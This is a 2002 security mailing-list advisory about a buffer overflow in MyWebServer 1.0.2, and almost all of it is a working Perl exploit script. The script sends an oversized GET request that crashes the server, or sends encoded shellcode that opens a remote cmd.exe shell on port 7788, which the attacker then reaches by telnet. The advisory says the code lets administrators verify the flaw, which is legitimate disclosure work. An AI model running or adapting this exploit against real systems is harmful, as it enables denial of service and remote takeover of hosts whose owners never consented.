[EXPL] Buffer Overflow in MyWebServer (Exploit, GET)

From: support@securiteam.com
Date: 08/21/02 

From: support@securiteam.com
To: list@securiteam.com
Date: Wed, 21 Aug 2002 15:38:21 +0200 (CEST)

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  Buffer Overflow in MyWebServer (Exploit, GET)
------------------------------------------------------------------------

SUMMARY

As we reported in our previous article:
<http://www.securiteam.com/windowsntfocus/5XP022K7PM.html> Buffer Overflow
in MyWebServer, a vulnerability in MyWebServer allows remote attackers to
cause the program to execute arbitrary code. The following is an exploit
code that can be used by an administrator to verify the existence of the
vulnerability.

DETAILS

Vulnerable systems:
 * MyWebServer version 1.0.2

Exploit:
#!/usr/bin/perl
###############################################
# Remote MWS DoS/root exploit
#Vulnerable: MyWebServer v.1.0.2 and lower
#Support: www.mywebserver.org
#Bug: buffer overflow in get-requests.
#Usage: perl mws.pl [-d or -r] [host] [port]
#-d - DoS (100% work)
#-r - DoS and running shellcode
#Possibe some problems with it... if shellcode
#doesn't work correctly, try another one.
#Buffer size 989b.
#Author: D4rkGr3y
###############################################
use IO::Socket;
$shellcode =
"/aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\x90\xeb\x03\x5d\xeb\x05\
\xe8\xf8\xff\xff\xff\x83\xc5\x15\x90\x90\x90\x8b\xc5\x33\xc9\x66\xb9\x10\x03\x50\x80\x30\
\x97\x40\xe2\xfa\x7e\x8e\x95\x97\x97\xcd\x1c\x4d\x14\x7c\x90\xfd\x68\xc4\xf3\x36\x97\
\x97\x97\x97\xc7\xf3\x1e\xb2\x97\x97\x97\x97\xa4\x4c\x2c\x97\x97\x77\xe0\x7f\x4b\x96\
\x97\x97\x16\x6c\x97\x97\x68\x28\x98\x14\x59\x96\x97\x97\x16\x54\x97\x97\x96\x97\xf1\
\x16\xac\xda\xcd\xe2\x70\xa4\x57\x1c\xd4\xab\x94\x54\xf1\x16\xaf\xc7\xd2\xe2\x4e\x14\
\x57\xef\x1c\xa7\x94\x64\x1c\xd9\x9b\x94\x5c\x16\xae\xdc\xd2\xc5\xd9\xe2\x52\x16\xee\
\x93\xd2\xdb\xa4\xa5\xe2\x2b\xa4\x68\x1c\xd1\xb7\x94\x54\x1c\x5c\x94\x9f\x16\xae\xd0\
\xf2\xe3\xc7\xe2\x9e\x16\xee\x93\xe5\xf8\xf4\xd6\xe3\x91\xd0\x14\x57\x93\x7c\x72\x94\
\x68\x94\x6c\x1c\xc1\xb3\x94\x6d\xa4\x45\xf1\x1c\x80\x1c\x6d\x1c\xd1\x87\xdf\x94\x6f\
\xa4\x5e\x1c\x58\x94\x5e\x94\x5e\x94\xd9\x8b\x94\x5c\x1c\xae\x94\x6c\x7e\xfe\x96\x97\
\x97\xc9\x10\x60\x1c\x40\xa4\x57\x60\x47\x1c\x5f\x65\x38\x1e\xa5\x1a\xd5\x9f\xc5\xc7\
\xc4\x68\x85\xcd\x1e\xd5\x93\x1a\xe5\x82\xc5\xc1\x68\xc5\x93\xcd\xa4\x57\x3b\x13\x57\
\xe2\x6e\xa4\x5e\x1d\x99\x13\x5e\xe3\x9e\xc5\xc1\xc4\x68\x85\xcd\x3c\x75\x7f\xd1\xc5\
\xc1\x68\xc5\x93\xcd\x1c\x4f\xa4\x57\x3b\x13\x57\xe2\x6e\xa4\x5e\x1d\x99\x17\x6e\x95\
\xe3\x9e\xc5\xc1\xc4\x68\x85\xcd\x3c\x75\x70\xa4\x57\xc7\xd7\xc7\xd7\xc7\x68\xc0\x7f\
\x04\xfd\x87\xc1\xc4\x68\xc0\x7b\xfd\x95\xc4\x68\xc0\x67\xa4\x57\xc0\xc7\x27\x9b\x3c\
\xcf\x3c\xd7\x3c\xc8\xdf\xc7\xc0\xc1\x3a\xc1\x68\xc0\x57\xdf\xc7\xc0\x3a\xc1\x3a\xc1\
\x68\xc0\x57\xdf\x27\xd3\x1e\x90\xc0\x68\xc0\x53\xa4\x57\x1c\xd1\x63\x1e\xd0\xab\x1e\
\xd0\xd7\x1c\x91\x1e\xd0\xaf\xa4\x57\xf1\x2f\x96\x96\x1e\xd0\xbb\xc0\xc0\xa4\x57\xc7\
\xc7\xc7\xd7\xc7\xdf\xc7\xc7\x3a\xc1\xa4\x57\xc7\x68\xc0\x5f\x68\xe1\x67\x68\xc0\x5b\
\x68\xe1\x6b\x68\xc0\x5b\xdf\xc7\xc7\xc4\x68\xc0\x63\x1c\x4f\xa4\x57\x23\x93\xc7\x56\
\x7f\x93\xc7\x68\xc0\x43\x1c\x67\xa4\x57\x1c\x5f\x22\x93\xc7\xc7\xc0\xc6\xc1\x68\xe0\
\x3f\x68\xc0\x47\x14\xa8\x96\xeb\xb5\xa4\x57\xc7\xc0\x68\xa0\xc1\x68\xe0\x3f\x68\xc0\
\x4b\x9c\x57\xe3\xb8\xa4\x57\xc7\x68\xa0\xc1\xc4\x68\xc0\x6f\xfd\xc7\x68\xc0\x77\x7c\
\x5f\xa4\x57\xc7\x23\x93\xc7\xc1\xc4\x68\xc0\x6b\xc0\xa4\x5e\xc6\xc7\xc1\x68\xe0\x3b\
\x68\xc0\x4f\xfd\xc7\x68\xc0\x77\x7c\x3d\xc7\x68\xc0\x73\x7c\x69\xcf\xc7\x1e\xd5\x65\
\x54\x1c\xd3\xb3\x9b\x92\x2f\x97\x97\x97\x50\x97\xef\xc1\xa3\x85\xa4\x57\x54\x7c\x7b\
\x7f\x75\x6a\x68\x68\x7f\x05\x69\x68\x68\xdc\xc1\x70\xe0\xb4\x17\x70\xe0\xdb\xf8\xf6\
\xf3\xdb\xfe\xf5\xe5\xf6\xe5\xee\xd6\x97\xdc\xd2\xc5\xd9\xd2\xdb\xa4\xa5\x97\xd4\xe5\
\xf2\xf6\xe3\xf2\xc7\xfe\xe7\xf2\x97\xd0\xf2\xe3\xc4\xe3\xf6\xe5\xe3\xe2\xe7\xde\xf9\xf1\
\xf8\xd6\x97\xd4\xe5\xf2\xf6\xe3\xf2\xc7\xe5\xf8\xf4\xf2\xe4\xe4\xd6\x97\xd4\xfb\xf8\xe4\
\xf2\xdf\xf6\xf9\xf3\xfb\xf2\x97\xc7\xf2\xf2\xfc\xd9\xf6\xfa\xf2\xf3\xc7\xfe\xe7\xf2\x97\xd0\
\xfb\xf8\xf5\xf6\xfb\xd6\xfb\xfb\xf8\xf4\x97\xc0\xe5\xfe\xe3\xf2\xd1\xfe\xfb\xf2\x97\xc5\xf2\
\xf6\xf3\xd1\xfe\xfb\xf2\x97\xc4\xfb\xf2\xf2\xe7\x97\xd2\xef\xfe\xe3\xc7\xe5\xf8\xf4\xf2\
\xe4\xe4\x97\x97\xc0\xc4\xd8\xd4\xdc\xa4\xa5\x97\xe4\xf8\xf4\xfc\xf2\xe3\x97\xf5\xfe\
\xf9\xf3\x97\xfb\xfe\xe4\xe3\xf2\xf9\x97\xf6\xf4\xf4\xf2\xe7\xe3\x97\xe4\xf2\xf9\xf3\x97\
\xe5\xf2\xf4\xe1\x97\x95\x97\x89\xfb\x97\x97\x97\x97\x97\x97\x97\x97\x97\x97\x97\x97\
\xf4\xfa\xf3\xb9\xf2\xef\xf2\x97\x68\x68\x68\x68";
$dos =
"/aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa";
$param = $ARGV[0];
$host = $ARGV[1];
$port = $ARGV[2];
print "\n\n";
print "[DamageHackingGroup|www.dhgroup.org]\n";
print "#MyWebServer v.1.0.2 - www.mywebserver.org\n";
print "#Remote DoS/root xsploit (opens cmd.exe shell on port 7788)\n";
print "#Shellcode writen by isno\n";
if (defined $param && defined $host && defined $port) {
  if ($param eq "-d") {
    DoS();
  } else {
    get_root();
  }
} else {
  print "Error in Params.\n";
  print "Usage: perl mws.pl [-d or -r] [host] [port]\n";
  print "-d - kill web server\n";
  die "-r - open shell on port 7788 (only ME/XP)\n";
}

sub DoS {
 print "Connecting to '$host' ... ";
 $socket = IO::Socket::INET->new(PeerAddr => $host, PeerPort => $port,
Proto => "tcp", Type => SOCK_STREAM)
 or die "Couldn't connect.\n";
 print "Connected.\n";
 print "Attacking target ... ";
 print $socket "GET $dos HTTP/1.0\n\n";
 print "Complete.\n";
 print "$host is dead.\n";
 close($socket);
 return;
}

sub get_root {
 print "Connecting to '$host' ...";
 $socket = IO::Socket::INET->new(PeerAddr => $host, PeerPort => $port,
Proto => "tcp", Type => SOCK_STREAM)
 or die "Couldn't connect.\n";
 print "Connected.\n";
 print "Running shellcode ... ";
 print $socket "GET $shellcode HTTP/1.0\n\n";
 print "Complete.\n";
 print "Now type 'telnet $host 7788' and have a nice day :)\n";
 close($socket);
 return;
}

ADDITIONAL INFORMATION

The information has been provided by <mailto:grey_1999@mail.ru> D4rkGr3y.

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